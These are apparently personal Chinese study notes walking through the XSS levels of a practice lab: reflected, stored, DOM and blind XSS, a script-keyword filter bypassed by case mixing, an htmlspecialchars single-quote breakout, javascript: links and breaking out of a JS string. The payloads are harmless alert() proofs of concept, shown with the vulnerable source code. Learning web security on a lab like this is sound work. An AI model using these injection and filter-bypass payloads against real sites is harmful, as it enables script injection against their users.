一、反射型XSS
1、get型
源碼前后區別
前
<form method="get">
<input class="xssr_in" type="text" name="message" maxlength="20">
<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">輸入'kobe'試試-_-</p>
后
<form method="get">
<input class="xssr_in" type="text" name="message" maxlength="20">
<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">who is 123,i don't care!</p>
抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217191043.png?1609079597256
可以修改數據,且可以繞過前端校驗。
輸入<script>alert('xss')</script>
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217190732.png?1609079597257
出現彈窗
疑問,與sql注入的get注入有什么區別
2、post型
輸入賬號密碼
抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217192302.png?1609079597257
post型
與get類似
輸入<script>alert('xss')</script>
出現彈窗
二、存儲型
1、輸入123,並刷新
發現,123已經存進留言列表
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218110758.png?1609079597258
2、輸入特殊字符,觀察有無過濾
'<>?"/6666
沒有任何過濾
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218111355.png?1609079597258
3、構造payload
輸入<script>alert('xss')</script>
發現無論刷新多少次,都會出現彈窗
三、DOM型
1、輸入123,點擊click me,再點擊what do you see
1、輸入特殊字符,觀察有無過濾
'"<>?&6666
2、查看源碼
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//試試:'><img src="#" onmouseover="alert('xss')">
//試試:' onclick="alert('xss')">,閉合掉就行
</script>
JS代碼,它通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str, 然后又把 str 的內容通過字符串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中
3、構造payload
' onclick=alert("xss")>
what do you see?
<a href='"+#' onclick=alert("xss")>+"'>what do you see?
分為兩部分 <a href='"+#' onclick=alert("xss")> 和 +"'>what do you see?
在第一部分中 '"+#'閉合,onclick=alert("xss")作為連接,
在第二部分中 +"'>what do you see?作為鏈接的觸發,因此不能根據這個顯示來判斷有無過濾。
拓展
在第一部分中,只需要前后閉合即可
四、DOM型-x
1、查看源碼
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
//alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
}
//試試:'><img src="#" onmouseover="alert('xss')">
//試試:' onclick="alert('xss')">,閉合掉就行
</script>
定義了一個domxss函數。它$\color{red}{利用 window.location.search 獲取瀏覽器中url的內容}$,然后賦值給 str,經過URL解碼和字符串分隔,取出URL中的參數內容,再把 “+” 替換為 “ ”(空格),賦值給 xss,最后把 xss 拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中。
2、與之前相同
構造payload
' onclick=alert("xss")>
3、觀察payload
發現在url中
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218205002.png?1609079597267
即,程序是在url中獲得參數內容
五、XSS盲打
1、輸入123456,123456。查看后台,查看后台源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112350.png?1609079597291
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112423.png?1609079597291
2、猜想,寫惡意的腳本,能否成功執行,
<scritp>
alert("xss")
</scritp>
成功執行
六、xs過濾和繞過
1、測試那些符號或關鍵詞被過濾掉了
輸入
'<>?\"/6666
輸出
別說這些''<>?\"/6666'的話,不要怕,就是干!
沒有過濾符號
輸入
<script>alert("xss")</script>
輸出
別說這些'>'的話,不要怕,就是干!
猜測,過濾了script,嘗試雙寫,繞過過濾
輸入
<scr<script>ipt>alert("xss")</scr</script>ipt>
輸出
別說這些'>'的話,不要怕,就是干!
嘗試大小寫繞過
輸入
<sCriPt>alert("xss")</sCRipt>
輸出
彈窗,成功繞過
七、htmlspecialchars
1、測試輸入
輸入
123456
輸出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219121118.png?1609079597292
輸入
'<>?\"/6666
輸出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219122524.png?1609079597293
字符被實體化了
2、查看源碼
判斷為反射型xss,且是從url中獲得參數
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>輸入點啥吧!</p>";
}else {
//使用了htmlspecialchars進行處理,是不是就沒問題了呢,htmlspecialchars默認不對'處理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的輸入已經被記錄:</p>";
//輸入的內容被處理后輸出到了input標簽的value屬性里面,試試:' onclick='alert(111)'
// $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}
3、嘗試繞過
輸入
'alert(“xss“)'
源碼
![[Pasted image 20201219154508.png]]
輸入
1' onclick='alert(1)'
成功彈窗
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219154139.png?1609079597294
八、href輸出
1、測試輸入
輸入123456,查看網頁源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155343.png?1609079597294
並發現123456顯示在url上
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219161458.png?1609079597294
輸入'<>?\"/6666
,查看網頁源碼
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155549.png?1609079597294
有些字符被實體化了,僅剩' \ /
2、嘗試構造payload
當輸出在a標簽里的href屬性時,可以用js協議來執行js代碼
javascript:alert(0)
成功彈窗
九、js輸出
1、測試輸入
輸入123456,
沒有輸出
查看頁面源碼
<script>
$ms='123456';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac確實厲害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('無論如何不要放棄心中所愛..')
}
}
</script>
輸入'<>?\"/6666
,查看網頁源碼
<script>
$ms=''<>?\"/6666';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac確實厲害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('無論如何不要放棄心中所愛..')
}a
}
</script>
沒有過濾字符
2、嘗試構造payload
'test'</script> <script> alert("xss")</script><script>
成功前后閉合,彈窗